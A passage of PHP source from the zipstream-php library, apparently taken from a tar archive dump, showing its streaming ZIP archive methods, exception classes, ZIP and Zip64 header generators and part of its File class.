'bigfile.rar' from the local file * // '/usr/share/bigfile.rar' with a comment and a last-modified * // time of two hours ago * $zip->addFile( * fileName: 'bigfile.rar', * path: '/usr/share/bigfile.rar', * comment: 'this is a comment about bigfile.rar', * lastModificationDateTime: new DateTime('2 hours ago'), * ); * ``` * * @throws \ZipStream\Exception\FileNotFoundException * @throws \ZipStream\Exception\FileNotReadableException */ public function addFileFromPath( /** * name of file in archive (including directory path). */ string $fileName, /** * path to file on disk (note: paths should be encoded using * UNIX-style forward slashes -- e.g '/path/to/some/file'). */ string $path, string $comment = '', ?CompressionMethod $compressionMethod = null, ?int $deflateLevel = null, ?DateTimeInterface $lastModificationDateTime = null, ?int $maxSize = null, ?int $exactSize = null, ?bool $enableZeroHeader = null, ): void { if (!is_readable($path)) { if (!file_exists($path)) { throw new FileNotFoundException($path); } throw new FileNotReadableException($path); } if ($fileTime = filemtime($path)) { $lastModificationDateTime ??= (new DateTimeImmutable())->setTimestamp($fileTime); } $this->addFileFromCallback( fileName: $fileName, callback: function () use ($path) { $stream = fopen($path, 'rb'); if (!$stream) { // @codeCoverageIgnoreStart throw new ResourceActionException('fopen'); // @codeCoverageIgnoreEnd } return $stream; }, comment: $comment, compressionMethod: $compressionMethod, deflateLevel: $deflateLevel, lastModificationDateTime: $lastModificationDateTime, maxSize: $maxSize, exactSize: $exactSize, enableZeroHeader: $enableZeroHeader, ); } /** * Add an open stream (resource) to the archive. * * ##### File Options * * See {@see addFileFromPsr7Stream()} * * ##### Examples * * ```php * // create a temporary file stream and write text to it * $filePointer = tmpfile(); * fwrite($filePointer, 'The quick brown fox jumped over the lazy dog.'); * * // add a file named 'streamfile.txt' from the content of the stream * $archive->addFileFromStream( * fileName: 'streamfile.txt', * stream: $filePointer, * ); * ``` * * @param resource $stream contents of file as a stream resource */ public function addFileFromStream( string $fileName, $stream, string $comment = '', ?CompressionMethod $compressionMethod = null, ?int $deflateLevel = null, ?DateTimeInterface $lastModificationDateTime = null, ?int $maxSize = null, ?int $exactSize = null, ?bool $enableZeroHeader = null, ): void { $this->addFileFromCallback( fileName: $fileName, callback: fn () => $stream, comment: $comment, compressionMethod: $compressionMethod, deflateLevel: $deflateLevel, lastModificationDateTime: $lastModificationDateTime, maxSize: $maxSize, exactSize: $exactSize, enableZeroHeader: $enableZeroHeader, ); } /** * Add an open stream to the archive. * * ##### Examples * * ```php * $stream = $response->getBody(); * // add a file named 'streamfile.txt' from the content of the stream * $archive->addFileFromPsr7Stream( * fileName: 'streamfile.txt', * stream: $stream, * ); * ``` * * @param string $fileName * path of file in archive (including directory) * * @param StreamInterface $stream * contents of file as a stream resource * * @param string $comment * ZIP comment for this file * * @param ?CompressionMethod $compressionMethod * Override `defaultCompressionMethod` * * See {@see __construct()} * * @param ?int $deflateLevel * Override `defaultDeflateLevel` * * See {@see __construct()} * * @param ?DateTimeInterface $lastModificationDateTime * Set last modification time of file. * * Default: `now` * * @param ?int $maxSize * Only read `maxSize` bytes from file. * * The file is considered done when either reaching `EOF` * or the `maxSize`. * * @param ?int $exactSize * Read exactly `exactSize` bytes from file. * If `EOF` is reached before reading `exactSize` bytes, an error will be * thrown. The parameter allows for faster size calculations if the `stream` * does not support `fstat` size or is slow and otherwise known beforehand. * * @param ?bool $enableZeroHeader * Override `defaultEnableZeroHeader` * * See {@see __construct()} */ public function addFileFromPsr7Stream( string $fileName, StreamInterface $stream, string $comment = '', ?CompressionMethod $compressionMethod = null, ?int $deflateLevel = null, ?DateTimeInterface $lastModificationDateTime = null, ?int $maxSize = null, ?int $exactSize = null, ?bool $enableZeroHeader = null, ): void { $this->addFileFromCallback( fileName: $fileName, callback: fn () => $stream, comment: $comment, compressionMethod: $compressionMethod, deflateLevel: $deflateLevel, lastModificationDateTime: $lastModificationDateTime, maxSize: $maxSize, exactSize: $exactSize, enableZeroHeader: $enableZeroHeader, ); } /** * Add a file based on a callback. * * This is useful when you want to simulate a lot of files without keeping * all of the file handles open at the same time. * * ##### Examples * * ```php * foreach($files as $name => $size) { * $archive->addFileFromPsr7Stream( * fileName: 'streamfile.txt', * exactSize: $size, * callback: function() use($name): Psr\Http\Message\StreamInterface { * $response = download($name); * return $response->getBody(); * } * ); * } * ``` * * @param string $fileName * path of file in archive (including directory) * * @param Closure $callback * @psalm-param Closure(): (resource|StreamInterface|string) $callback * A callback to get the file contents in the shape of a PHP stream, * a Psr StreamInterface implementation, or a string. * * @param string $comment * ZIP comment for this file * * @param ?CompressionMethod $compressionMethod * Override `defaultCompressionMethod` * * See {@see __construct()} * * @param ?int $deflateLevel * Override `defaultDeflateLevel` * * See {@see __construct()} * * @param ?DateTimeInterface $lastModificationDateTime * Set last modification time of file. * * Default: `now` * * @param ?int $maxSize * Only read `maxSize` bytes from file. * * The file is considered done when either reaching `EOF` * or the `maxSize`. * * @param ?int $exactSize * Read exactly `exactSize` bytes from file. * If `EOF` is reached before reading `exactSize` bytes, an error will be * thrown. The parameter allows for faster size calculations if the `stream` * does not support `fstat` size or is slow and otherwise known beforehand. * * @param ?bool $enableZeroHeader * Override `defaultEnableZeroHeader` * * See {@see __construct()} */ public function addFileFromCallback( string $fileName, Closure $callback, string $comment = '', ?CompressionMethod $compressionMethod = null, ?int $deflateLevel = null, ?DateTimeInterface $lastModificationDateTime = null, ?int $maxSize = null, ?int $exactSize = null, ?bool $enableZeroHeader = null, ): void { $file = new File( dataCallback: function () use ($callback, $maxSize) { $data = $callback(); if(is_resource($data)) { return $data; } if($data instanceof StreamInterface) { return StreamWrapper::getResource($data); } $stream = fopen('php://memory', 'rw+'); if ($stream === false) { // @codeCoverageIgnoreStart throw new ResourceActionException('fopen'); // @codeCoverageIgnoreEnd } if ($maxSize !== null && fwrite($stream, $data, $maxSize) === false) { // @codeCoverageIgnoreStart throw new ResourceActionException('fwrite', $stream); // @codeCoverageIgnoreEnd } elseif (fwrite($stream, $data) === false) { // @codeCoverageIgnoreStart throw new ResourceActionException('fwrite', $stream); // @codeCoverageIgnoreEnd } if (rewind($stream) === false) { // @codeCoverageIgnoreStart throw new ResourceActionException('rewind', $stream); // @codeCoverageIgnoreEnd } return $stream; }, send: $this->send(...), recordSentBytes: $this->recordSentBytes(...), operationMode: $this->operationMode, fileName: $fileName, startOffset: $this->offset, compressionMethod: $compressionMethod ?? $this->defaultCompressionMethod, comment: $comment, deflateLevel: $deflateLevel ?? $this->defaultDeflateLevel, lastModificationDateTime: $lastModificationDateTime ?? new DateTimeImmutable(), maxSize: $maxSize, exactSize: $exactSize, enableZip64: $this->enableZip64, enableZeroHeader: $enableZeroHeader ?? $this->defaultEnableZeroHeader, ); if($this->operationMode !== OperationMode::NORMAL) { $this->recordedSimulation[] = $file; } $this->centralDirectoryRecords[] = $file->process(); } /** * Add a directory to the archive. * * ##### File Options * * See {@see addFileFromPsr7Stream()} * * ##### Examples * * ```php * // add a directory named 'world/' * $zip->addFile(fileName: 'world/'); * ``` */ public function addDirectory( string $fileName, string $comment = '', ?DateTimeInterface $lastModificationDateTime = null, ): void { if (!str_ends_with($fileName, '/')) { $fileName .= '/'; } $this->addFile( fileName: $fileName, data: '', comment: $comment, compressionMethod: CompressionMethod::STORE, deflateLevel: null, lastModificationDateTime: $lastModificationDateTime, maxSize: 0, exactSize: 0, enableZeroHeader: false, ); } /** * Executes a previously calculated simulation. * * ##### Example * * ```php * $zip = new ZipStream( * outputName: 'foo.zip', * operationMode: OperationMode::SIMULATE_STRICT, * ); * * $zip->addFile('test.txt', 'Hello World'); * * $size = $zip->finish(); * * header('Content-Length: '. $size); * * $zip->executeSimulation(); * ``` */ public function executeSimulation(): void { if($this->operationMode !== OperationMode::NORMAL) { throw new RuntimeException('Zip simulation is not finished.'); } foreach($this->recordedSimulation as $file) { $this->centralDirectoryRecords[] = $file->cloneSimulationExecution()->process(); } $this->finish(); } /** * Write zip footer to stream. * * The clase is left in an unusable state after `finish`. * * ##### Example * * ```php * // write footer to stream * $zip->finish(); * ``` */ public function finish(): int { $centralDirectoryStartOffsetOnDisk = $this->offset; $sizeOfCentralDirectory = 0; // add trailing cdr file records foreach ($this->centralDirectoryRecords as $centralDirectoryRecord) { $this->send($centralDirectoryRecord); $sizeOfCentralDirectory += strlen($centralDirectoryRecord); } // Add 64bit headers (if applicable) if (count($this->centralDirectoryRecords) >= 0xFFFF || $centralDirectoryStartOffsetOnDisk > 0xFFFFFFFF || $sizeOfCentralDirectory > 0xFFFFFFFF) { if (!$this->enableZip64) { throw new OverflowException(); } $this->send(Zip64\EndOfCentralDirectory::generate( versionMadeBy: self::ZIP_VERSION_MADE_BY, versionNeededToExtract: Version::ZIP64->value, numberOfThisDisk: 0, numberOfTheDiskWithCentralDirectoryStart: 0, numberOfCentralDirectoryEntriesOnThisDisk: count($this->centralDirectoryRecords), numberOfCentralDirectoryEntries: count($this->centralDirectoryRecords), sizeOfCentralDirectory: $sizeOfCentralDirectory, centralDirectoryStartOffsetOnDisk: $centralDirectoryStartOffsetOnDisk, extensibleDataSector: '', )); $this->send(Zip64\EndOfCentralDirectoryLocator::generate( numberOfTheDiskWithZip64CentralDirectoryStart: 0x00, zip64centralDirectoryStartOffsetOnDisk: $centralDirectoryStartOffsetOnDisk + $sizeOfCentralDirectory, totalNumberOfDisks: 1, )); } // add trailing cdr eof record $numberOfCentralDirectoryEntries = min(count($this->centralDirectoryRecords), 0xFFFF); $this->send(EndOfCentralDirectory::generate( numberOfThisDisk: 0x00, numberOfTheDiskWithCentralDirectoryStart: 0x00, numberOfCentralDirectoryEntriesOnThisDisk: $numberOfCentralDirectoryEntries, numberOfCentralDirectoryEntries: $numberOfCentralDirectoryEntries, sizeOfCentralDirectory: min($sizeOfCentralDirectory, 0xFFFFFFFF), centralDirectoryStartOffsetOnDisk: min($centralDirectoryStartOffsetOnDisk, 0xFFFFFFFF), zipFileComment: $this->comment, )); $size = $this->offset; // The End $this->clear(); return $size; } /** * @param StreamInterface|resource|null $outputStream * @return resource */ private static function normalizeStream($outputStream) { if ($outputStream instanceof StreamInterface) { return StreamWrapper::getResource($outputStream); } if (is_resource($outputStream)) { return $outputStream; } return fopen('php://output', 'wb'); } /** * Record sent bytes */ private function recordSentBytes(int $sentBytes): void { $this->offset += $sentBytes; } /** * Send string, sending HTTP headers if necessary. * Flush output after write if configure option is set. */ private function send(string $data): void { if (!$this->ready) { throw new RuntimeException('Archive is already finished'); } if ($this->operationMode === OperationMode::NORMAL && $this->sendHttpHeaders) { $this->sendHttpHeaders(); $this->sendHttpHeaders = false; } $this->recordSentBytes(strlen($data)); if ($this->operationMode === OperationMode::NORMAL) { if (fwrite($this->outputStream, $data) === false) { throw new ResourceActionException('fwrite', $this->outputStream); } if ($this->flushOutput) { // flush output buffer if it is on and flushable $status = ob_get_status(); if (isset($status['flags']) && is_int($status['flags']) && ($status['flags'] & PHP_OUTPUT_HANDLER_FLUSHABLE)) { ob_flush(); } // Flush system buffers after flushing userspace output buffer flush(); } } } /** * Send HTTP headers for this stream. */ private function sendHttpHeaders(): void { // grab content disposition $disposition = $this->contentDisposition; if ($this->outputName) { // Various different browsers dislike various characters here. Strip them all for safety. $safeOutput = trim(str_replace(['"', "'", '\\', ';', "\n", "\r"], '', $this->outputName)); // Check if we need to UTF-8 encode the filename $urlencoded = rawurlencode($safeOutput); $disposition .= "; filename*=UTF-8''{$urlencoded}"; } $headers = [ 'Content-Type' => $this->contentType, 'Content-Disposition' => $disposition, 'Pragma' => 'public', 'Cache-Control' => 'public, must-revalidate', 'Content-Transfer-Encoding' => 'binary', ]; foreach ($headers as $key => $val) { ($this->httpHeaderCallback)("$key: $val"); } } /** * Clear all internal variables. Note that the stream object is not * usable after this. */ private function clear(): void { $this->centralDirectoryRecords = []; $this->offset = 0; if($this->operationMode === OperationMode::NORMAL) { $this->ready = false; $this->recordedSimulation = []; } else { $this->operationMode = OperationMode::NORMAL; } } } maennchen/zipstream-php/src/LocalFileHeader.php000064400000002477151676714400015573 0ustar00<?php declare(strict_types=1); namespace ZipStream; use DateTimeInterface; /** * @internal */ abstract class LocalFileHeader { private const SIGNATURE = 0x04034b50; public static function generate( int $versionNeededToExtract, int $generalPurposeBitFlag, CompressionMethod $compressionMethod, DateTimeInterface $lastModificationDateTime, int $crc32UncompressedData, int $compressedSize, int $uncompressedSize, string $fileName, string $extraField, ): string { return PackField::pack( new PackField(format: 'V', value: self::SIGNATURE), new PackField(format: 'v', value: $versionNeededToExtract), new PackField(format: 'v', value: $generalPurposeBitFlag), new PackField(format: 'v', value: $compressionMethod->value), new PackField(format: 'V', value: Time::dateTimeToDosTime($lastModificationDateTime)), new PackField(format: 'V', value: $crc32UncompressedData), new PackField(format: 'V', value: $compressedSize), new PackField(format: 'V', value: $uncompressedSize), new PackField(format: 'v', value: strlen($fileName)), new PackField(format: 'v', value: strlen($extraField)), ) . $fileName . $extraField; } } maennchen/zipstream-php/src/Exception/FileSizeIncorrectException.php000064400000001007151676714400022014 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a file is not as large as it was specified. */ class FileSizeIncorrectException extends Exception { /** * @internal */ public function __construct( public readonly int $expectedSize, public readonly int $actualSize ) { parent::__construct("File is {$actualSize} instead of {$expectedSize} bytes large. Adjust `exactSize` parameter."); } } maennchen/zipstream-php/src/Exception/FileNotFoundException.php000064400000000613151676714400020767 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a file wasn't found */ class FileNotFoundException extends Exception { /** * @internal */ public function __construct( public readonly string $path ) { parent::__construct("The file with the path $path wasn't found."); } } maennchen/zipstream-php/src/Exception/OverflowException.php000064400000000620151676714400020234 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a counter value exceeds storage size */ class OverflowException extends Exception { /** * @internal */ public function __construct() { parent::__construct('File size exceeds limit of 32 bit integer. Please enable "zip64" option.'); } } maennchen/zipstream-php/src/Exception/StreamNotSeekableException.php000064400000000653151676714400022007 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a non seekable stream is * provided and zero headers are disabled. */ class StreamNotSeekableException extends Exception { /** * @internal */ public function __construct() { parent::__construct('enableZeroHeader must be enable to add non seekable streams'); } } maennchen/zipstream-php/src/Exception/StreamNotReadableException.php000064400000000541151676714400021767 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a stream can't be read. */ class StreamNotReadableException extends Exception { /** * @internal */ public function __construct() { parent::__construct('The stream could not be read.'); } } maennchen/zipstream-php/src/Exception/DosTimeOverflowException.php000064400000000756151676714400021533 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use DateTimeInterface; use ZipStream\Exception; /** * This Exception gets invoked if a file wasn't found */ class DosTimeOverflowException extends Exception { /** * @internal */ public function __construct( public readonly DateTimeInterface $dateTime ) { parent::__construct('The date ' . $dateTime->format(DateTimeInterface::ATOM) . " can't be represented as DOS time / date."); } } maennchen/zipstream-php/src/Exception/ResourceActionException.php000064400000001063151676714400021360 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a resource like `fread` returns false */ class ResourceActionException extends Exception { /** * @var ?resource */ public $resource; /** * @param resource $resource */ public function __construct( public readonly string $function, $resource = null, ) { $this->resource = $resource; parent::__construct('Function ' . $function . 'failed on resource.'); } } maennchen/zipstream-php/src/Exception/SimulationFileUnknownException.php000064400000000742151676714400022742 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a strict simulation is executed and the file * information can't be determined without reading the entire file. */ class SimulationFileUnknownException extends Exception { public function __construct() { parent::__construct('The details of the strict simulation file could not be determined without reading the entire file.'); } } maennchen/zipstream-php/src/Exception/FileNotReadableException.php000064400000000620151676714400021411 0ustar00<?php declare(strict_types=1); namespace ZipStream\Exception; use ZipStream\Exception; /** * This Exception gets invoked if a file wasn't found */ class FileNotReadableException extends Exception { /** * @internal */ public function __construct( public readonly string $path ) { parent::__construct("The file with the path $path isn't readable."); } } maennchen/zipstream-php/src/Zip64/ExtendedInformationExtraField.php000064400000002536151676714400021456 0ustar00<?php declare(strict_types=1); namespace ZipStream\Zip64; use ZipStream\PackField; /** * @internal */ abstract class ExtendedInformationExtraField { private const TAG = 0x0001; public static function generate( ?int $originalSize = null, ?int $compressedSize = null, ?int $relativeHeaderOffset = null, ?int $diskStartNumber = null, ): string { return PackField::pack( new PackField(format: 'v', value: self::TAG), new PackField( format: 'v', value: ($originalSize === null ? 0 : 8) + ($compressedSize === null ? 0 : 8) + ($relativeHeaderOffset === null ? 0 : 8) + ($diskStartNumber === null ? 0 : 4) ), ...($originalSize === null ? [] : [ new PackField(format: 'P', value: $originalSize), ]), ...($compressedSize === null ? [] : [ new PackField(format: 'P', value: $compressedSize), ]), ...($relativeHeaderOffset === null ? [] : [ new PackField(format: 'P', value: $relativeHeaderOffset), ]), ...($diskStartNumber === null ? [] : [ new PackField(format: 'V', value: $diskStartNumber), ]), ); } } maennchen/zipstream-php/src/Zip64/EndOfCentralDirectoryLocator.php000064400000001451151676714400021250 0ustar00<?php declare(strict_types=1); namespace ZipStream\Zip64; use ZipStream\PackField; /** * @internal */ abstract class EndOfCentralDirectoryLocator { private const SIGNATURE = 0x07064b50; public static function generate( int $numberOfTheDiskWithZip64CentralDirectoryStart, int $zip64centralDirectoryStartOffsetOnDisk, int $totalNumberOfDisks, ): string { /** @psalm-suppress MixedArgument */ return PackField::pack( new PackField(format: 'V', value: static::SIGNATURE), new PackField(format: 'V', value: $numberOfTheDiskWithZip64CentralDirectoryStart), new PackField(format: 'P', value: $zip64centralDirectoryStartOffsetOnDisk), new PackField(format: 'V', value: $totalNumberOfDisks), ); } } maennchen/zipstream-php/src/Zip64/DataDescriptor.php000064400000001210151676714400016434 0ustar00<?php declare(strict_types=1); namespace ZipStream\Zip64; use ZipStream\PackField; /** * @internal */ abstract class DataDescriptor { private const SIGNATURE = 0x08074b50; public static function generate( int $crc32UncompressedData, int $compressedSize, int $uncompressedSize, ): string { return PackField::pack( new PackField(format: 'V', value: self::SIGNATURE), new PackField(format: 'V', value: $crc32UncompressedData), new PackField(format: 'P', value: $compressedSize), new PackField(format: 'P', value: $uncompressedSize), ); } } maennchen/zipstream-php/src/Zip64/EndOfCentralDirectory.php000064400000003046151676714400017726 0ustar00<?php declare(strict_types=1); namespace ZipStream\Zip64; use ZipStream\PackField; /** * @internal */ abstract class EndOfCentralDirectory { private const SIGNATURE = 0x06064b50; public static function generate( int $versionMadeBy, int $versionNeededToExtract, int $numberOfThisDisk, int $numberOfTheDiskWithCentralDirectoryStart, int $numberOfCentralDirectoryEntriesOnThisDisk, int $numberOfCentralDirectoryEntries, int $sizeOfCentralDirectory, int $centralDirectoryStartOffsetOnDisk, string $extensibleDataSector, ): string { $recordSize = 44 + strlen($extensibleDataSector); // (length of block - 12) = 44; /** @psalm-suppress MixedArgument */ return PackField::pack( new PackField(format: 'V', value: static::SIGNATURE), new PackField(format: 'P', value: $recordSize), new PackField(format: 'v', value: $versionMadeBy), new PackField(format: 'v', value: $versionNeededToExtract), new PackField(format: 'V', value: $numberOfThisDisk), new PackField(format: 'V', value: $numberOfTheDiskWithCentralDirectoryStart), new PackField(format: 'P', value: $numberOfCentralDirectoryEntriesOnThisDisk), new PackField(format: 'P', value: $numberOfCentralDirectoryEntries), new PackField(format: 'P', value: $sizeOfCentralDirectory), new PackField(format: 'P', value: $centralDirectoryStartOffsetOnDisk), ) . $extensibleDataSector; } } maennchen/zipstream-php/src/Zs/ExtendedInformationExtraField.php000064400000000621151676714400021127 0ustar00<?php declare(strict_types=1); namespace ZipStream\Zs; use ZipStream\PackField; /** * @internal */ abstract class ExtendedInformationExtraField { private const TAG = 0x5653; public static function generate(): string { return PackField::pack( new PackField(format: 'v', value: self::TAG), new PackField(format: 'v', value: 0x0000), ); } } maennchen/zipstream-php/src/CentralDirectoryFileHeader.php000064400000003646151676714400020015 0ustar00<?php declare(strict_types=1); namespace ZipStream; use DateTimeInterface; /** * @internal */ abstract class CentralDirectoryFileHeader { private const SIGNATURE = 0x02014b50; public static function generate( int $versionMadeBy, int $versionNeededToExtract, int $generalPurposeBitFlag, CompressionMethod $compressionMethod, DateTimeInterface $lastModificationDateTime, int $crc32, int $compressedSize, int $uncompressedSize, string $fileName, string $extraField, string $fileComment, int $diskNumberStart, int $internalFileAttributes, int $externalFileAttributes, int $relativeOffsetOfLocalHeader, ): string { return PackField::pack( new PackField(format: 'V', value: self::SIGNATURE), new PackField(format: 'v', value: $versionMadeBy), new PackField(format: 'v', value: $versionNeededToExtract), new PackField(format: 'v', value: $generalPurposeBitFlag), new PackField(format: 'v', value: $compressionMethod->value), new PackField(format: 'V', value: Time::dateTimeToDosTime($lastModificationDateTime)), new PackField(format: 'V', value: $crc32), new PackField(format: 'V', value: $compressedSize), new PackField(format: 'V', value: $uncompressedSize), new PackField(format: 'v', value: strlen($fileName)), new PackField(format: 'v', value: strlen($extraField)), new PackField(format: 'v', value: strlen($fileComment)), new PackField(format: 'v', value: $diskNumberStart), new PackField(format: 'v', value: $internalFileAttributes), new PackField(format: 'V', value: $externalFileAttributes), new PackField(format: 'V', value: $relativeOffsetOfLocalHeader), ) . $fileName . $extraField . $fileComment; } } maennchen/zipstream-php/src/Exception.php000064400000000147151676714400014556 0ustar00<?php declare(strict_types=1); namespace ZipStream; abstract class Exception extends \Exception { } maennchen/zipstream-php/src/DataDescriptor.php000064400000001150151676714400015523 0ustar00<?php declare(strict_types=1); namespace ZipStream; /** * @internal */ abstract class DataDescriptor { private const SIGNATURE = 0x08074b50; public static function generate( int $crc32UncompressedData, int $compressedSize, int $uncompressedSize, ): string { return PackField::pack( new PackField(format: 'V', value: self::SIGNATURE), new PackField(format: 'V', value: $crc32UncompressedData), new PackField(format: 'V', value: $compressedSize), new PackField(format: 'V', value: $uncompressedSize), ); } } maennchen/zipstream-php/src/EndOfCentralDirectory.php000064400000002343151676714400017011 0ustar00<?php declare(strict_types=1); namespace ZipStream; /** * @internal */ abstract class EndOfCentralDirectory { private const SIGNATURE = 0x06054b50; public static function generate( int $numberOfThisDisk, int $numberOfTheDiskWithCentralDirectoryStart, int $numberOfCentralDirectoryEntriesOnThisDisk, int $numberOfCentralDirectoryEntries, int $sizeOfCentralDirectory, int $centralDirectoryStartOffsetOnDisk, string $zipFileComment, ): string { /** @psalm-suppress MixedArgument */ return PackField::pack( new PackField(format: 'V', value: static::SIGNATURE), new PackField(format: 'v', value: $numberOfThisDisk), new PackField(format: 'v', value: $numberOfTheDiskWithCentralDirectoryStart), new PackField(format: 'v', value: $numberOfCentralDirectoryEntriesOnThisDisk), new PackField(format: 'v', value: $numberOfCentralDirectoryEntries), new PackField(format: 'V', value: $sizeOfCentralDirectory), new PackField(format: 'V', value: $centralDirectoryStartOffsetOnDisk), new PackField(format: 'v', value: strlen($zipFileComment)), ) . $zipFileComment; } } maennchen/zipstream-php/src/OperationMode.php000064400000001443151676714400015365 0ustar00<?php declare(strict_types=1); namespace ZipStream; /** * ZipStream execution operation modes */ enum OperationMode { /** * Stream file into output stream */ case NORMAL; /** * Simulate the zip to figure out the resulting file size * * This only supports entries where the file size is known beforehand and * deflation is disabled. */ case SIMULATE_STRICT; /** * Simulate the zip to figure out the resulting file size * * If the file size is not known beforehand or deflation is enabled, the * entry streams will be read and rewound. * * If the entry does not support rewinding either, you will not be able to * use the same stream in a later operation mode like `NORMAL`. */ case SIMULATE_LAX; } maennchen/zipstream-php/src/File.php000064400000032073151676714400013502 0ustar00<?php declare(strict_types=1); namespace ZipStream; use Closure; use DateTimeInterface; use DeflateContext; use RuntimeException; use ZipStream\Exception\FileSizeIncorrectException; use ZipStream\Exception\OverflowException; use ZipStream\Exception\ResourceActionException; use ZipStream\Exception\SimulationFileUnknownException; use ZipStream\Exception\StreamNotReadableException; use ZipStream\Exception\StreamNotSeekableException; /** * @internal */ class File { private const CHUNKED_READ_BLOCK_SIZE = 0x1000000; private Version $version; private int $compressedSize = 0; private int $uncompressedSize = 0; private int $crc = 0; private int $generalPurposeBitFlag = 0; private readonly string $fileName; /** * @var resource|null */ private $stream; /** * @param Closure $dataCallback * @psalm-param Closure(): resource $dataCallback */ public function __construct( string $fileName, private readonly Closure $dataCallback, private readonly OperationMode $operationMode, private readonly int $startOffset, private readonly CompressionMethod $compressionMethod, private readonly string $comment, private readonly DateTimeInterface $lastModificationDateTime, private readonly int $deflateLevel, private readonly ?int $maxSize, private readonly ?int $exactSize, private readonly bool $enableZip64, private readonly bool $enableZeroHeader, private readonly Closure $send, private readonly Closure $recordSentBytes, ) { $this->fileName = self::filterFilename($fileName); $this->checkEncoding(); if ($this->enableZeroHeader) { $this->generalPurposeBitFlag |= GeneralPurposeBitFlag::ZERO_HEADER; } $this->version = $this->compressionMethod === CompressionMethod::DEFLATE ? Version::DEFLATE : Version::STORE; } public function cloneSimulationExecution(): self { return new self( $this->fileName, $this->dataCallback, OperationMode::NORMAL, $this->startOffset, $this->compressionMethod, $this->comment, $this->lastModificationDateTime, $this->deflateLevel, $this->maxSize, $this->exactSize, $this->enableZip64, $this->enableZeroHeader, $this->send, $this->recordSentBytes, ); } public function process(): string { $forecastSize = $this->forecastSize(); if ($this->enableZeroHeader) { // No calculation required } elseif ($this->isSimulation() && $forecastSize) { $this->uncompressedSize = $forecastSize; $this->compressedSize = $forecastSize; } else { $this->readStream(send: false); if (rewind($this->unpackStream()) === false) { throw new ResourceActionException('rewind', $this->unpackStream()); } } $this->addFileHeader(); $detectedSize = $forecastSize ?? $this->compressedSize; if ( $this->isSimulation() && $detectedSize > 0 ) { ($this->recordSentBytes)($detectedSize); } else { $this->readStream(send: true); } $this->addFileFooter(); return $this->getCdrFile(); } /** * @return resource */ private function unpackStream() { if ($this->stream) { return $this->stream; } if ($this->operationMode === OperationMode::SIMULATE_STRICT) { throw new SimulationFileUnknownException(); } $this->stream = ($this->dataCallback)(); if (!$this->enableZeroHeader && !stream_get_meta_data($this->stream)['seekable']) { throw new StreamNotSeekableException(); } if (!( str_contains(stream_get_meta_data($this->stream)['mode'], 'r') || str_contains(stream_get_meta_data($this->stream)['mode'], 'w+') || str_contains(stream_get_meta_data($this->stream)['mode'], 'a+') || str_contains(stream_get_meta_data($this->stream)['mode'], 'x+') || str_contains(stream_get_meta_data($this->stream)['mode'], 'c+') )) { throw new StreamNotReadableException(); } return $this->stream; } private function forecastSize(): ?int { if ($this->compressionMethod !== CompressionMethod::STORE) { return null; } if ($this->exactSize) { return $this->exactSize; } $fstat = fstat($this->unpackStream()); if (!$fstat || !array_key_exists('size', $fstat) || $fstat['size'] < 1) { return null; } if ($this->maxSize !== null && $this->maxSize < $fstat['size']) { return $this->maxSize; } return $fstat['size']; } /** * Create and send zip header for this file. */ private function addFileHeader(): void { $forceEnableZip64 = $this->enableZeroHeader && $this->enableZip64; $footer = $this->buildZip64ExtraBlock($forceEnableZip64); $zip64Enabled = $footer !== ''; if($zip64Enabled) { $this->version = Version::ZIP64; } if ($this->generalPurposeBitFlag & GeneralPurposeBitFlag::EFS) { // Put the tricky entry to // force Linux unzip to lookup EFS flag. $footer .= Zs\ExtendedInformationExtraField::generate(); } $data = LocalFileHeader::generate( versionNeededToExtract: $this->version->value, generalPurposeBitFlag: $this->generalPurposeBitFlag, compressionMethod: $this->compressionMethod, lastModificationDateTime: $this->lastModificationDateTime, crc32UncompressedData: $this->crc, compressedSize: $zip64Enabled ? 0xFFFFFFFF : $this->compressedSize, uncompressedSize: $zip64Enabled ? 0xFFFFFFFF : $this->uncompressedSize, fileName: $this->fileName, extraField: $footer, ); ($this->send)($data); } /** * Strip characters that are not legal in Windows filenames * to prevent compatibility issues */ private static function filterFilename( /** * Unprocessed filename */ string $fileName ): string { // strip leading slashes from file name // (fixes bug in windows archive viewer) $fileName = ltrim($fileName, '/'); return str_replace(['\\', ':', '*', '?', '"', '<', '>', '|'], '_', $fileName); } private function checkEncoding(): void { // Sets Bit 11: Language encoding flag (EFS). If this bit is set, // the filename and comment fields for this file // MUST be encoded using UTF-8. (see APPENDIX D) if (mb_check_encoding($this->fileName, 'UTF-8') && mb_check_encoding($this->comment, 'UTF-8')) { $this->generalPurposeBitFlag |= GeneralPurposeBitFlag::EFS; } } private function buildZip64ExtraBlock(bool $force = false): string { $outputZip64ExtraBlock = false; $originalSize = null; if ($force || $this->uncompressedSize > 0xFFFFFFFF) { $outputZip64ExtraBlock = true; $originalSize = $this->uncompressedSize; } $compressedSize = null; if ($force || $this->compressedSize > 0xFFFFFFFF) { $outputZip64ExtraBlock = true; $compressedSize = $this->compressedSize; } // If this file will start over 4GB limit in ZIP file, // CDR record will have to use Zip64 extension to describe offset // to keep consistency we use the same value here $relativeHeaderOffset = null; if ($this->startOffset > 0xFFFFFFFF) { $outputZip64ExtraBlock = true; $relativeHeaderOffset = $this->startOffset; } if (!$outputZip64ExtraBlock) { return ''; } if (!$this->enableZip64) { throw new OverflowException(); } return Zip64\ExtendedInformationExtraField::generate( originalSize: $originalSize, compressedSize: $compressedSize, relativeHeaderOffset: $relativeHeaderOffset, diskStartNumber: null, ); } private function addFileFooter(): void { if (($this->compressedSize > 0xFFFFFFFF || $this->uncompressedSize > 0xFFFFFFFF) && $this->version !== Version::ZIP64) { throw new OverflowException(); } if (!$this->enableZeroHeader) { return; } if ($this->version === Version::ZIP64) { $footer = Zip64\DataDescriptor::generate( crc32UncompressedData: $this->crc, compressedSize: $this->compressedSize, uncompressedSize: $this->uncompressedSize, ); } else { $footer = DataDescriptor::generate( crc32UncompressedData: 